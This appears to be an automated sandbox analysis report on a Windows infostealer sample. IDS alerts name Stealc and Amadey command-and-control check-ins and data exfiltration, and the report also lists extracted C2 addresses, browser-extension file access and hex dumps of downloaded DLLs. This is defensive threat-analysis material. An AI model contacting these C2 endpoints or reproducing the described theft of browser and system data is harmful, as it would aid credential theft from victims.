Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D037C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	1_2_6D037C00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	1_2_6CFF7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D013FF0 PK11_PrivDecryptPKCS1,	1_2_6D013FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D039EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	1_2_6D039EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D019840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	1_2_6D019840
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D013850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	1_2_6D013850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D03DA40 SEC_PKCS7ContentIsEncrypted,	1_2_6D03DA40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D013560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	1_2_6D013560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.44:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.44:443 -> 192.168.2.7:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.7:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.7:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.87.244.196:443 -> 192.168.2.7:50120 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.1758567828.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Admin\Desktop\123\6621357ed8034a07b39d149a6f3e52d8\x64\Release\LClipper.pdbp source: 591832b8e5.exe, 00000024.00000000.2433506280.00007FF72B40D000.00000002.00000001.01000000.0000000F.sdmp, 591832b8e5.exe, 00000024.00000002.2474348449.000001E877730000.00000004.00000020.00020000.00000000.sdmp, 591832b8e5.exe, 00000024.00000002.2477775059.00007FF72B40D000.00000002.00000001.01000000.0000000F.sdmp, exploma.exe.exe, 0000002B.00000000.2478294436.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe, 0000002B.00000002.2538966832.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe.36.dr, 591832b8e5.exe.34.dr
Source:	Binary string: C:\Users\Admin\Desktop\123\6621357ed8034a07b39d149a6f3e52d8\x64\Release\LClipper.pdb source: 591832b8e5.exe, 00000024.00000000.2433506280.00007FF72B40D000.00000002.00000001.01000000.0000000F.sdmp, 591832b8e5.exe, 00000024.00000002.2474348449.000001E877730000.00000004.00000020.00020000.00000000.sdmp, 591832b8e5.exe, 00000024.00000002.2477775059.00007FF72B40D000.00000002.00000001.01000000.0000000F.sdmp, exploma.exe.exe, 0000002B.00000000.2478294436.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe, 0000002B.00000002.2538966832.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe.36.dr, 591832b8e5.exe.34.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.1758567828.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49699
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49699
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:50114 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:50115
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50123 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50119 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50122

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping localhost -n 1

Source: global traffic

TCP traffic: 192.168.2.7:50118 -> 147.45.47.61:8888

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 13:41:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 13:41:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 13:41:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 13:41:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 13:41:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 